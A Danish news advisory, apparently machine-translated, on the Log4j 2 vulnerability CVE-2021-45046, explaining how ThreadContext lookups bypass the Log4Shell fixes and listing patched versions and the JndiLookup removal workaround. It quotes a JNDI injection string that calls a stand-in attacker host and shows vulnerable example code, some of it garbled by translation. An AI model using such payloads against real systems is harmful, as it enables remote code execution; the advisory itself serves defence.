En anden sårbarhed er blevet identificeret i implementeringen af JNDI-opslag i Log4j 2-biblioteket (CVE-2021-45046), som vises på trods af rettelserne tilføjet i release 2.15 og uanset brugen af "log4j2.noFormatMsgLookup"-indstillingen til beskyttelse. Problemet er hovedsageligt farligt for ældre versioner af Log4j 2, beskyttet med "noFormatMsgLookup"-flaget, da det gør det muligt at omgå beskyttelse fra tidligere sårbarheder (Log4Shell, CVE-2021-44228), som giver dig mulighed for at udføre din kode på server. For brugere af version 2.15 er udnyttelsen begrænset til at få applikationen til at gå ned på grund af udmattelse af tilgængelige ressourcer.
Sårbarheden vises kun på systemer, der bruger kontekstopslag til logning, såsom ${ctx:loginId}, eller MDC-skabeloner (Thread Context Map), såsom %X, %mdc og %MDC. Operation kommer ned til at skabe betingelser for udlæsning af data, der indeholder JNDI-erstatninger til loggen, når du bruger kontekstforespørgsler eller MDC-skabeloner i applikationen, der definerer reglerne for formatering af output til loggen.
Forskere fra LunaSec bemærkede, at for versioner af Log4j mindre end 2.15 kan denne sårbarhed bruges som en ny vektor for et Log4Shell-angreb, hvilket fører til kodeudførelse, hvis ThreadContext-udtryk, der inkluderer eksterne data, bruges i log-outputtet, uanset om "protect" flag er aktiveret. noMsgFormatLookups" eller skabelonen "%m{nolookups}".
Omgåelse af beskyttelsen kommer ned til det faktum, at i stedet for direkte substitution af "${jndi:ldap://attacker.com/a}", erstattes dette udtryk med værdien af en mellemvariabel, der bruges i reglerne for formatering af logoutput . For eksempel, hvis kontekstforespørgslen ${ctx:apiversion} bruges, når der udsendes til loggen, kan angrebet udføres ved at erstatte dataene "${jndi:ldap://attacker.com/a}" i værdi skrevet til apiversion-variablen. Eksempel på sårbar kode: appender.console.layout.pattern = ${ctx:apiversion} - %d{åååå-MM-dd TT:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // HTTP-headerværdien "X-Api-Version" sendes til ThreadContext ThreadContext.put("apiversion ", apiVersion ); // Når der udlæses til loggen, vil den eksterne apiversion-værdi blive behandlet ved hjælp af substitutionen ${ctx:apiversion} logger.info("Modtaget en anmodning om API-version"); returnere "Hej verden!"; }
I Log4j version 2.15 kan sårbarheden bruges til at udføre DoS-angreb, når værdier overføres til ThreadContext, hvilket resulterer i en loop i outputformateringsskabelonbehandling.
For at blokere sårbarheden blev opdateringer 2.16 og 2.12.2 offentliggjort. I Log4j 2.16-grenen, ud over rettelserne implementeret i version 2.15 og bindingen af JNDI LDAP-anmodninger til "localhost", er JNDI-funktionaliteten fuldstændig deaktiveret som standard, og understøttelse af meddelelseserstatningsskabeloner er fjernet. Som en sikkerhedsløsning foreslås det at fjerne klassen JndiLookup fra klassestien (for eksempel "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class") .
Du kan spore udseendet af rettelser i pakker på distributionssiderne (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) og Java-platformsproducenter (GitHub, Docker, Oracle, vmWare, Broadcom og Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure osv.).
Kilde: opennet.ru